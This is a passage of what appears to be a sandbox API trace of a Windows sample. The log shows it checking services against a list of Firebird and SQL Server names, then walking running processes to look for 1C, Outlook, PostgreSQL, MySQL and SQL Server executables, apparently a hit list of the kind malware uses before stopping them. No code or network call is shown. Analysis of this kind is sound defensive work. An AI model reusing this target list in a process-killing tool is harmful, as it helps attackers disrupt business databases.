(lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0221.952] lstrlenW (lpString="PcaSvc") returned 6 [0221.952] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0221.952] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0221.952] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0221.952] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0221.952] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0221.952] lstrlenW (lpString="PlugPlay") returned 8 [0221.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0221.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0221.953] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0221.953] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0221.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0221.953] lstrlenW (lpString="Power") returned 5 [0221.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0221.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0221.953] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0221.953] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0221.953] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0221.953] lstrlenW (lpString="ProfSvc") returned 7 [0221.953] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0221.953] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0221.954] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0221.954] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0221.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0221.954] lstrlenW (lpString="RpcEptMapper") returned 12 [0221.954] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.954] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0221.954] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0221.954] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0221.954] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0221.954] lstrlenW (lpString="RpcSs") returned 5 [0221.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0221.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0221.955] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0221.955] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0221.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0221.955] lstrlenW (lpString="SamSs") returned 5 [0221.955] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0221.955] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0221.955] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0221.955] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0221.955] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0221.955] lstrlenW (lpString="Schedule") returned 8 [0221.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0221.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0221.956] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0221.956] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0221.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0221.956] lstrlenW (lpString="SENS") returned 4 [0221.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0221.956] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0221.956] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0221.956] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0221.956] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0221.956] lstrlenW (lpString="ShellHWDetection") returned 16 [0221.956] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0221.957] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0221.957] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0221.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0221.957] lstrlenW (lpString="Spooler") returned 7 [0221.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0221.957] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0221.957] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0221.957] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0221.957] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0221.957] lstrlenW (lpString="Themes") returned 6 [0221.957] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0221.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0221.958] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0221.958] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0221.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0221.958] lstrlenW (lpString="UxSms") returned 5 [0221.958] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0221.958] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0221.958] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0221.958] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0221.958] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0221.958] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41d0998 | out: hHeap=0x880000) returned 1 [0221.958] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384 [0221.984] Process32FirstW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0221.985] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0221.986] lstrlenW (lpString="System") returned 6 [0221.986] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0221.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0221.986] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0221.986] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0221.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0221.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0221.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0221.987] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0221.988] lstrlenW (lpString="smss.exe") returned 8 [0221.988] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0221.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0221.988] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0221.988] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0221.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0221.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0221.988] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0221.988] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.989] lstrlenW (lpString="csrss.exe") returned 9 [0221.989] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0221.989] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0221.989] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0221.990] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0221.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0221.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0221.990] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0221.990] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0221.991] lstrlenW (lpString="wininit.exe") returned 11 [0221.991] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0221.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0221.991] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0221.991] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0221.991] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0221.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0221.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0221.992] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0221.993] lstrlenW (lpString="csrss.exe") returned 9 [0221.993] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0221.993] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0221.993] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0221.993] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0221.993] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0221.993] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0221.993] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0221.994] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0221.995] lstrlenW (lpString="winlogon.exe") returned 12 [0221.995] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0221.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0221.995] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0221.995] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0221.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0221.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0221.995] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0221.995] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0223.539] lstrlenW (lpString="services.exe") returned 12 [0223.539] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0223.539] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0223.539] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0223.539] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0223.539] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0223.539] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0223.539] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0223.539] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0223.541] lstrlenW (lpString="lsass.exe") returned 9 [0223.541] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0223.541] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0223.541] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0223.541] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0223.542] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0223.542] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0223.542] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0223.542] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0223.543] lstrlenW (lpString="lsm.exe") returned 7 [0223.543] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0223.543] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0223.543] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0223.543] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0223.543] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0223.543] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0223.543] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0223.543] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.544] lstrlenW (lpString="svchost.exe") returned 11 [0223.544] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.544] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.545] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.545] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.545] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.545] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.545] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.545] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.546] lstrlenW (lpString="svchost.exe") returned 11 [0223.546] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.546] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.546] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.546] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.547] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.547] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.547] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.547] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.548] lstrlenW (lpString="svchost.exe") returned 11 [0223.548] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.548] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.548] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.548] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.548] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.548] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.548] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.548] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.549] lstrlenW (lpString="svchost.exe") returned 11 [0223.549] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.550] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.550] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.550] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.550] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.550] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.550] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.550] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.551] lstrlenW (lpString="svchost.exe") returned 11 [0223.551] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.551] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.551] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.551] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.551] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.552] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.552] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.552] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0223.553] lstrlenW (lpString="audiodg.exe") returned 11 [0223.553] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0223.553] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0223.553] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0223.553] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0223.553] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0223.553] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0223.553] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0223.554] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.555] lstrlenW (lpString="svchost.exe") returned 11 [0223.555] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.555] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.555] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.555] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.555] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.555] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.555] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.555] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0223.557] lstrlenW (lpString="userinit.exe") returned 12 [0223.557] lstrcmpiW (lpString1="1c8.exe", lpString2="userinit.exe") returned -1 [0223.557] lstrcmpiW (lpString1="1cv77.exe", lpString2="userinit.exe") returned -1 [0223.557] lstrcmpiW (lpString1="outlook.exe", lpString2="userinit.exe") returned -1 [0223.557] lstrcmpiW (lpString1="postgres.exe", lpString2="userinit.exe") returned -1 [0223.557] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="userinit.exe") returned -1 [0223.557] lstrcmpiW (lpString1="mysqld.exe", lpString2="userinit.exe") returned -1 [0223.557] lstrcmpiW (lpString1="sqlservr.exe", lpString2="userinit.exe") returned -1 [0223.558] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.559] lstrlenW (lpString="explorer.exe") returned 12 [0223.559] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0223.559] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0223.559] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0223.559] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0223.559] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0223.559] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0223.559] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0223.559] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0223.560] lstrlenW (lpString="dwm.exe") returned 7 [0223.561] lstrcmpiW (lpString1="1c8.exe", lpString2="dwm.exe") returned -1 [0223.561] lstrcmpiW (lpString1="1cv77.exe", lpString2="dwm.exe") returned -1 [0223.561] lstrcmpiW (lpString1="outlook.exe", lpString2="dwm.exe") returned 1 [0223.561] lstrcmpiW (lpString1="postgres.exe", lpString2="dwm.exe") returned 1 [0223.561] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dwm.exe") returned 1 [0223.561] lstrcmpiW (lpString1="mysqld.exe", lpString2="dwm.exe") returned 1 [0223.561] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dwm.exe") returned 1 [0223.561] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.562] lstrlenW (lpString="svchost.exe") returned 11 [0223.562] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0223.562] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0223.563] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0223.563] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0223.563] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0223.563] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0223.563] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0223.563] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0223.564] lstrlenW (lpString="driver.exe") returned 10 [0223.564] lstrcmpiW (lpString1="1c8.exe", lpString2="driver.exe") returned -1 [0223.564] lstrcmpiW (lpString1="1cv77.exe", lpString2="driver.exe") returned -1 [0223.564] lstrcmpiW (lpString1="outlook.exe", lpString2="driver.exe") returned 1 [0223.564] lstrcmpiW (lpString1="postgres.exe", lpString2="driver.exe") returned 1 [0223.564] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="driver.exe") returned 1 [0223.564] lstrcmpiW (lpString1="mysqld.exe", lpString2="driver.exe") returned 1 [0223.564] lstrcmpiW (lpString1="sqlservr.exe", lpString2="driver.exe") returned 1 [0223.565] Process32NextW (in: hSnapshot=0x384, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0223.565] lstrlenW (lpString="spoolsv.exe") returned 11 [0223.565] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0223.565] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0223.566] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0223.566] lstrcmpiW 